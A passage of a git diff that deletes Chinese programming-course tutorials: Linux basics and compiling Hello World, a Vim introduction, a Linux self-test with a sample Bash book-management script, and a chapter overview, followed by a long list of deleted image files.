工具使用空格翻页,并可以用 `q` 键在中途退出。`less` 工具则更为强大,不仅可以向下翻页,还可以向上翻页,同样使用 `q` 键退出。这里还有一个[关于 less 的小故事](http://en.wikipedia.org/wiki/Less_(Unix)). - -### **在 Linux 下编写 Hello World 程序** - -Linux 中用户的主目录是 `/home/用户名称`, 如果你的用户名是 `user`, 你的主目录就是 `/home/user`. 用户的 `home` 目录可以用波浪符号 `~` 替代,例如临时文件目录 `/home/user/Templates` 可以简写为 `~/Templates`. 现在我们就可以进入主目录并编辑文件了。如果 `Templates` 目录不存在,可以通过 `mkdir` 命令创建它: - -```bash -cd ~ -mkdir Templates -``` - -创建成功后,键入 - -```bash -cd Templates -``` - -可以完成目录的切换。注意在输入目录名时,`tab` 键可以提供联想。 - -#### 你感到键入困难吗? - -::: warning 💡 你可能会经常要在终端里输入类似于 - -cd AVeryVeryLongFileName - -的命令,你一定觉得非常烦躁。回顾上面所说的原则之一:如果你感到有什么地方不对,就一定有什么好办法来解决。试试 `tab` 键吧。 - -Shell 中有很多这样的小技巧,你也可以使用其他的 Shell 例如 zsh, 提供更丰富好用的功能。总之,尝试和改变是最重要的。 -::: - -进入正确的目录后就可以编辑文件了,开源世界中主流的两大编辑器是 `vi(m)` 和 `emacs`, 你可以使用其中的任何一种。如果你打算使用 `emacs`, 你还需要安装它 - -```bash -apt-get install emacs -``` - -`vi` 和 `emacs` 这两款编辑器都需要一定的时间才能上手,它们共同的特点是需要花较多的时间才能适应基本操作方式 (命令或快捷键), 但一旦熟练运用,编辑效率就比传统的编辑器快很多。 - -进入了正确的目录后,输入相应的命令就能够开始编辑文件。例如输入 - -```bash -vi hello.c -或emacs hello.c -``` - -就能开启一个文件编辑。例如可以键入如下代码 (对于首次使用 `vi` 或 `emacs` 的同学,键入代码可能会花去一些时间,在编辑的同时要大量查看网络上的资料): - -```c -#include -int main(void) { - printf("Hello, Linux World!\n"); - return 0; -} -``` - -> 相信你在写完代码之后苦于不知道怎么保存并退出,不用担心,这个是正常的,毕竟上面提到的两个文本编辑器都是以入门时的学习曲线极其陡峭而著称。 -> 对于 vi(m) 风格的编辑器,你需要先按 `ESC` 返回 NORMAL 模式(具体处于那个模式可以观察窗口左下角,NORMAL 模式是空白的),再输入 `:wq` 来保存并退出(注意 `:` 是输入的一部分)(`:q 仅退出` `:q! 不保存退出` ) -> -> [【保姆级入门】Vim 编辑器](https://www.bilibili.com/video/BV13t4y1t7Wg) -> -> - -保存后就能够看到 `hello.c` 的内容了。终端中可以用 `cat hello.c` 查看代码的内容。如果要将它编译,可以使用 `gcc` 命令: - -```bash -gcc hello.c -o hello -``` - -`gcc` 的 `-o` 选项指定了输出文件的名称,如果将 `-o hello` 改为 `-o hi`, 将会生成名为 `hi` 的可执行文件。如果不使用 `-o` 选项,则会默认生成名为 `a.out` 的文件,它的含义是 [assembler output](http://en.wikipedia.org/wiki/A.out). 在命令行输入 - -```bash -./hello -``` - -就能够运行该程序。命令中的 `./` 是不能少的,点代表了当前目录,而 `./hello` 则表示当前目录下的 `hello` 文件。与 Windows 不同,Linux 系统默认情况下并不查找当前目录,这是因为 Linux 下有大量的标准工具 (如 `test` 等), 很容易与用户自己编写的程序重名,不搜索当前目录消除了命令访问的歧义。 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.6Vim初探索.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.6Vim初探索.md deleted file mode 100644 index 4875bb6..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.6Vim初探索.md +++ /dev/null @@ -1,76 +0,0 @@ -# Vim 初探索 - -## 下载 vim - -vim 被称为编辑器之神 - -::: warning 💡 看到这一句可能就激发了你学习 vim 的热情,但是看完整篇文章和文章里面的所有参考资料,可能这股来之不易的热情也早就消失了。为了避免这种情况,我给一个小小的建议: - -1. 首先学会盲打,不会的话,不是很建议用 vim / Emacs 这样的编辑器,还是拥抱鼠标吧 -2. 学习使用 hjklia 这六个键,然后理解插入模式和普通模式,再了解怎么退出 -3. 使用 vim 作为日常的编辑工具,在你所有的代码编辑器里面都装上 vim 插件并使用,强迫自己习惯 hjkl 的移动和带模式的输入,习惯按 `` -4. 到这个时候你就会感觉的确可以不用鼠标了,但是有的时候会比较别扭,比如想新建一行时,得按 L 移到行尾,然后按 a 追加,再按回车,远远比鼠标麻烦有没有,这种情况就可以上网查询,`vim 如何新建一行`,就会学到 o 可以向下新建一行,O 可以向上新建一行,然后你就能自然地学会更多的操作。 -::: - -因为其具有着非常完整的生态以及诸多配套的插件,但是第一次使用得你可能感觉很不习惯。 - -讲一个笑话,你如何获得一个随机字符串,只要让新人使用 vim 就好了。 - -::: waning 💡 不开玩笑,为了让你不小心在命令行模式下进入 vim 又不知道怎么退出时不需要拔电源来退出,先按几次 `` 键(避免你之前不小心按到了 i 或 a 或 o 或等等按键)进入普通模式,然后顺序敲击 `:q`(冒号 和 q 两个按键 ),再按回车就可以退出了。 -::: - -```bash -apt-get install vim -``` - -但是我仍然推荐你尝试使用或者结合 VSC 一起使用,使用习惯后将有效提高你的开发效率。 - -## 如何学习 vim - -作为程序员,我们大部分时间都花在代码编辑上,所以花点时间掌握某个适合自己的编辑器是非常值得的。通常学习使用一个新的编辑器包含以下步骤: - -- 阅读教程(比如这节课以及我们为您提供的资源) -- 坚持使用它来完成你所有的编辑工作(即使一开始这会让你的工作效率降低) -- 随时查阅:如果某个操作看起来像是有更方便的实现方法,一般情况下真的会有。 - -如果您能够遵循上述步骤,并且坚持使用新的编辑器完成您所有的文本编辑任务,那么学习一个复杂的代码编辑器的过程一般是这样的:头两个小时,您会学习到编辑器的基本操作,例如打开和编辑文件、保存与退出、浏览缓冲区。当学习时间累计达到 20 个小时之后,您使用新编辑器的效率应该已经和使用老编辑器一样快。在此之后,其益处开始显现:有了足够的知识和肌肉记忆后,使用新编辑器将大大节省你的时间。而现代文本编辑器都是些复杂且强大的工具,永远有新东西可学:学的越多,效率越高。 - -## **Vim 的哲学** - -在编程的时候,你会把大量时间花在阅读/编辑而不是在写代码上。所以,Vim 是一个_多模态_编辑 器:它对于插入文字和操纵文字有不同的模式。Vim 是可编程的(可以使用 Vimscript 或者像 Python 一样的其他程序语言),Vim 的接口本身也是一个程序语言:键入操作(以及其助记名)是命令,这些命令也是可组合的。Vim 避免了使用鼠标,因为那样太慢了;Vim 甚至避免用 上下左右键因为那样需要太多的手指移动。 - -这样的设计哲学使得 Vim 成为了一个能跟上你思维速度的编辑器。 - -## 学习 Vim - -如果想要使用他最基本的操作的话,在电脑上键入 vimtutor - -会有官方的教程进行引导哦。 - -## 配置 vim - -vim 有大量的配置,通过更改./vimrc 文件或者安装插件都可以有效提高你的开发效率,定制属于你个人的编辑器哦~ - -快去试试吧 - -## 任务 - -定制 vim 成为你喜欢的模样,加装足够多的插件和更改足够多的配置让他满足以下几点或以上 - -- 文件管理 -- 快速回退 -- 变得好看 -- 行号 -- 代码搜索 -- 模糊搜索 -- ............... - -可以尝试查看 vim Awesome 哦 - -[vim awesome](https://vimawesome.com/) - -## 拓展阅读 - -[Learn-Vim(the Smart Way) 中文翻译](https://github.com/wsdjeg/Learn-Vim_zh_cn) - -讲述了 vim 哲学的优秀教程 diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.7linux小任务.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.7linux小任务.md deleted file mode 100644 index fa93a8d..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.Y.7linux小任务.md +++ /dev/null @@ -1,126 +0,0 @@ -# linux 自测 - -1. 本课程需要使用类 Unix shell,例如 Bash 或 ZSH。如果您在 Linux 或者 MacOS 上面完成本课程的练习,则不需要做任何特殊的操作。如果您使用的是 Windows,则您不应该使用 cmd 或是 Powershell;您可以使用Windows Subsystem for Linux或者是 Linux 虚拟机。使用 `echo $SHELL` 命令可以查看您的 shell 是否满足要求。如果打印结果为 `/bin/bash` 或 `/usr/bin/zsh` 则是可以的。 -2. 在 `/tmp` 下新建一个名为 `missing` 的文件夹。 -3. 用 `man` 查看程序 `touch` 的使用手册。 -4. 用 `touch` 在 `missing` 文件夹中新建一个叫 `semester` 的文件。 -5. 将以下内容一行一行地写入 `semester` 文件: - -```bash -#!/bin/sh - curl --head --silent https://missing.csail.mit.edu -``` - -第一行可能有点棘手, `#` 在 Bash 中表示注释,而 `!` 即使被双引号(`"`)包裹也具有特殊的含义。单引号(`'`)则不一样,此处利用这一点解决输入问题。更多信息请参考 Bash quoting 手册 - -1. 尝试执行这个文件。例如,将该脚本的路径(`./semester`)输入到您的 shell 中并回车。如果程序无法执行,请使用 `ls` 命令来获取信息并理解其不能执行的原因。 -2. 查看 `chmod` 的手册 (例如,使用 `man chmod` 命令) -3. 使用 `chmod` 命令改变权限,使 `./semester` 能够成功执行,不要使用 `sh semester` 来执行该程序。您的 shell 是如何知晓这个文件需要使用 `sh` 来解析呢?更多信息请参考:shebang -4. 使用 `|` 和 `>` ,将 `semester` 文件输出的最后更改日期信息,写入主目录下的 `last-modified.txt` 的文件中 -5. 写一段命令来从 `/sys` 中获取笔记本的电量信息,或者台式机 CPU 的温度 -6. 使用 shell 编程写一个类似脚本的图书管理系统,包含增删改查四个功能 - -当然,可能会有点困难我在这里附上一段参考代码 - -```shell -#! /usr/bin/env bash - -initialization() -{ - echo -n "| " ;echo "1:添加图书" - echo -n "| " ;echo "2:删除图书" - echo -n "| " ;echo "3:显示馆藏图书" - echo -n "| " ;echo "4:查找图书" - echo -n "| " ;echo "5:退出系统" - mainmenu -} - -mainmenu() -{ - read operation - case $operation in - 1) - addbook ;; - 2) - delbook ;; - 3) - listbooks ;; - 4) - search ;; - 5) - exit ;; - *) - "无效操作,请重试。" - initialization ;; - esac -} - -#直接在文件夹内添加书(所以没有 书单.txt),若没有就find遍历系统匹配并加入 -#不考虑系统中多个匹配结果的情况 -addbook() -{ - echo "添加图书" - echo "-------------------------" - read -p "输入添加的书名" bookname - if [[ -f ~/Desktop/bookregister/$bookname ]] ; - then - echo "已经存在这本书。" - return - else - find ~ -name $bookname -exec mv {} ~/Desktop/bookregister \; - if [[ -f ~/Desktop/bookregister/$bookname ]] ; - then - echo "匹配成功,已加入书单。" - else - read -p "未找到这本书,手动输入链接从网上下载?[y/n]" download - if [[ $download = 'y' ]] ; - then - read -p "请输入链接。" url - curl ${url} -o $bookname - find ~ -name $bookname -exec mv {} ~/Desktop/bookregister \; - fi - fi - fi -} - -delbook() -{ - echo "删除图书" - echo "-------------------------" - read -p "输入删除的书名" bookname - if [[ ! -f ~/Desktop/bookregister/$bookname ]] ; - then - echo "查无此书。" - return - else - read -p "输入 delete 以确认。" delete - if [[ $delete = delete ]]; - then - rm ~/Desktop/bookregister/$bookname - echo "删除完毕。" - fi - fi -} - -#因为脚本图书放在一起,所以脚本自身也会显示(不要在意这些细节) -listbooks() -{ - ls ~/Desktop/bookregister -} - - -#若找到直接用less打开 -search() -{ - echo "查找图书" - echo "-------------------------" - read -p "输入查找的书名" bookname - if [[ -f ~/Desktop/bookregister/$bookname ]] ; - then - less ~/Desktop/bookregister/$bookname - else - echo "查无此书。" - fi -} - -``` diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建.md b/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建.md deleted file mode 100644 index ea7cf28..0000000 --- a/技术资源汇总(杭电支持版)/3.编程思维体系构建/3.编程思维体系构建.md +++ /dev/null @@ -1,57 +0,0 @@ -# 3.编程思维体系构建 - -无论怎么说,编程都是计算机科学不可或缺的一部分。 - -他的核心思想在于用将可量化的重复性劳作交给计算机来完成,以达成提高效率的目的。 - -这里引用一位老师的比喻就是,将编程形容为开车,你可以讨厌他,也可以喜欢他。 - -但是,他作为一个交通工具,你不开你就得腿着去学校。想想如果你从杭电走到西湖只能走着去,那是多么恐怖的一件事。 - -(当然,现在 GPT 的强大功能可以帮大伙解决相当多的工作,因此,我们可能需要掌握更多的逻辑思维能力和分解问题的能力,将问题简化之后用 GPT 解决也不失为一个选择) - -因此本章节的目标是让大家面对一个实际问题,有使用编程解决的思路和能力。 - -## 阅读本章内容,我可以得到什么 - -本章提供了非常多的软实力文章,阅读相关软实力文章,你可以根据自己的情况构建适合自己一通百通的学习编程知识的方法论。 - -本章提供了相当完善的,足够面对多数需求的 C 语言体系结构,通过完成 C 语言的体系,你可以较为熟练地掌握 C 语言,并且对构建一个较小规模的项目组织和项目拆分有一定的理解 - -python 内容完成后,基本学习到如何使用 python 当一门工具使用,当有具体的需求可以进行后续的补充学习 - -与此同时,Git or Linux 也是作为一个 CSer 或者说想要提升自身效率的程序员,不可或缺的一个内容,希望你能掌握 - -如果你要开始,推荐你从 3.0 开始阅读,然后挑选你喜欢的内容 - -[【计算机科学速成课】[40 集全/精校] - Crash Course Computer Science](https://www.bilibili.com/video/BV1EW411u7th) - - - -![](https://cdn.xyxsw.site/boxcnOrKXUsIPJAUXyGB3Txewve.png) - -## 本章参考内容 - -[cs61a](https://cs61a.org/) - -[CS 自学指南](https://csdiy.wiki/) - -[MIT-Missing-Semester](https://missing.csail.mit.edu/2020/) - -[Introductory C Programming](https://www.coursera.org/specializations/c-programming) - -[一生一芯 nemu](https://ysyx.oscc.cc/) - -[jyy 的 OS 课程](https://jyywiki.cn/) - -[迷宫 game](https://github.com/helderman/htpataic) - -[GDB User Manual](https://www.sourceware.org/gdb/) - -[learn vim](https://github.com/wsdjeg/Learn-Vim_zh_cn) - -Book:教材替换用书——《C Primer Plus》 - -::: tip 📥 -《C Primer Plus》(第六版中文版)(216MB)附件下载 -::: diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/code/HW 01.zip b/技术资源汇总(杭电支持版)/3.编程思维体系构建/code/HW 01.zip deleted file mode 100644 index c6e5f11..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/code/HW 01.zip and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Axiomofchoice_1.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Axiomofchoice_1.png deleted file mode 100644 index 5a24e8b..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Axiomofchoice_1.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/CWDhbW6gzogyMFxtd6kcnPBunv2.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/CWDhbW6gzogyMFxtd6kcnPBunv2.png deleted file mode 100644 index c110980..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/CWDhbW6gzogyMFxtd6kcnPBunv2.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Cpfzb9oK2oMyGxxgkqVceE8DnId.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Cpfzb9oK2oMyGxxgkqVceE8DnId.png deleted file mode 100644 index 0b07431..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Cpfzb9oK2oMyGxxgkqVceE8DnId.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/FkOybDwtnoQeRyxejlwcjhQ2nch.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/FkOybDwtnoQeRyxejlwcjhQ2nch.png deleted file mode 100644 index c0d4800..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/FkOybDwtnoQeRyxejlwcjhQ2nch.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/GEN5b1HHdoDegPxAp8WcQDGknoc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/GEN5b1HHdoDegPxAp8WcQDGknoc.png deleted file mode 100644 index a1564cd..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/GEN5b1HHdoDegPxAp8WcQDGknoc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png deleted file mode 100644 index 1cbfc09..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HMipbO4vSoM3jhxSZ7Kcuddqnxh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HZNMbzGZOoQGAhxQ29gcM5V4nNd.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HZNMbzGZOoQGAhxQ29gcM5V4nNd.png deleted file mode 100644 index 6ae5836..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HZNMbzGZOoQGAhxQ29gcM5V4nNd.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HgTfbMhCGodZbzxBNh9crH3cnCe.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HgTfbMhCGodZbzxBNh9crH3cnCe.png deleted file mode 100644 index 1db8eb0..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/HgTfbMhCGodZbzxBNh9crH3cnCe.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png deleted file mode 100644 index 5f2d7fe..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/Hqzbbs6iYobnxWxz11Ocfa9gnHd.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/L5HvblSuYonJn4x03a4cMLKknrh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/L5HvblSuYonJn4x03a4cMLKknrh.png deleted file mode 100644 index 804200f..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/L5HvblSuYonJn4x03a4cMLKknrh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/MF4ZbUZ0qo70gRxeNGocsYvmnwe.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/MF4ZbUZ0qo70gRxeNGocsYvmnwe.png deleted file mode 100644 index df47d65..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/MF4ZbUZ0qo70gRxeNGocsYvmnwe.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/YAOvb6gquofiAYxsn3tcxcCYngf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/YAOvb6gquofiAYxsn3tcxcCYngf.png deleted file mode 100644 index 1fc659d..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/YAOvb6gquofiAYxsn3tcxcCYngf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png deleted file mode 100644 index 2dd1014..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn05Ca6Wu5TxFMplZCw2N8Jb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn0VMYQlez7tQTNkTPDkCsvg.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn0VMYQlez7tQTNkTPDkCsvg.png deleted file mode 100644 index 55f1d16..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn0VMYQlez7tQTNkTPDkCsvg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1HbQct335qvZ71tGNu7jne.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1HbQct335qvZ71tGNu7jne.png deleted file mode 100644 index 51cce71..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1HbQct335qvZ71tGNu7jne.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png deleted file mode 100644 index 3720f9d..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn1hlL1Fk4kDK4CPT2hJxwnV.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn2ouk043lNQEUkVkIS7bSSd.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn2ouk043lNQEUkVkIS7bSSd.png deleted file mode 100644 index 41838f3..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn2ouk043lNQEUkVkIS7bSSd.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn30VJILYpO81pq89mAmzjTf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn30VJILYpO81pq89mAmzjTf.png deleted file mode 100644 index c48d42c..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn30VJILYpO81pq89mAmzjTf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3PLPIvKSSvYiCnwx50FYvf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3PLPIvKSSvYiCnwx50FYvf.png deleted file mode 100644 index 9ae2f64..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3PLPIvKSSvYiCnwx50FYvf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3l30usevMTgv1ZbZ0mfJdh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3l30usevMTgv1ZbZ0mfJdh.png deleted file mode 100644 index 7970890..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn3l30usevMTgv1ZbZ0mfJdh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5Uk41JyjjdTzXWQqUkexzc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5Uk41JyjjdTzXWQqUkexzc.png deleted file mode 100644 index 80ff9ec..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5Uk41JyjjdTzXWQqUkexzc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5sVnE76FYpVW2RDxtWDiZc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5sVnE76FYpVW2RDxtWDiZc.png deleted file mode 100644 index 1cb93e7..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn5sVnE76FYpVW2RDxtWDiZc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6MgNnY2qBd1yAudeirx6Sh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6MgNnY2qBd1yAudeirx6Sh.png deleted file mode 100644 index a347eda..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6MgNnY2qBd1yAudeirx6Sh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png deleted file mode 100644 index 59c65ba..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn6ZnAzhaj2Tj7xk9K6FxBJh.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn7zL0QFakVTpYBdpOmmWOvc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn7zL0QFakVTpYBdpOmmWOvc.png deleted file mode 100644 index c9dd1b6..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn7zL0QFakVTpYBdpOmmWOvc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn85Yb3JIQ3520KeaSoyPVDd.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn85Yb3JIQ3520KeaSoyPVDd.png deleted file mode 100644 index 93d026e..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn85Yb3JIQ3520KeaSoyPVDd.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8ZxT5oMkScArZjZhgM6TYb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8ZxT5oMkScArZjZhgM6TYb.png deleted file mode 100644 index b378dc8..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8ZxT5oMkScArZjZhgM6TYb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png deleted file mode 100644 index 15fd7d1..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn8aRDQpe7uuDxFv9v1WvZ4c.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn95LbcwuMC2dIViOxWk8BFb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn95LbcwuMC2dIViOxWk8BFb.png deleted file mode 100644 index 167eb39..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn95LbcwuMC2dIViOxWk8BFb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png deleted file mode 100644 index 82a4f7c..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9DSPlFgG2WMZhTOE9Zhzgb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9VFPUYHl8ghJ3C78RsXjtf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9VFPUYHl8ghJ3C78RsXjtf.png deleted file mode 100644 index 4964754..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcn9VFPUYHl8ghJ3C78RsXjtf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnXUHDqsMYVrDlBfFunoVf.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnXUHDqsMYVrDlBfFunoVf.png deleted file mode 100644 index 0391251..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnXUHDqsMYVrDlBfFunoVf.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnkVAJmMT0NSNvo6crXYAd.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnkVAJmMT0NSNvo6crXYAd.png deleted file mode 100644 index 544a7cc..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnAnkVAJmMT0NSNvo6crXYAd.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnBMq0sw6c48jvjdPJwmAGtZ.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnBMq0sw6c48jvjdPJwmAGtZ.png deleted file mode 100644 index 39ceb69..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnBMq0sw6c48jvjdPJwmAGtZ.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnC6TAAdtS0P5HzebFgFn2lc.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnC6TAAdtS0P5HzebFgFn2lc.png deleted file mode 100644 index 9b9fa1f..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnC6TAAdtS0P5HzebFgFn2lc.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCNpeAE9Hy61cyvtxfioIHg.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCNpeAE9Hy61cyvtxfioIHg.png deleted file mode 100644 index 7bc68df..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCNpeAE9Hy61cyvtxfioIHg.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCX92JHjg8PU3quKs4GziZb.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCX92JHjg8PU3quKs4GziZb.png deleted file mode 100644 index 97eb9bd..0000000 Binary files a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnCX92JHjg8PU3quKs4GziZb.png and /dev/null differ diff --git a/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png b/技术资源汇总(杭电支持版)/3.编程思维体系构建/static/boxcnFwZpWZ3fQkdd3mCO8Mr9Wj.png deleted file mode 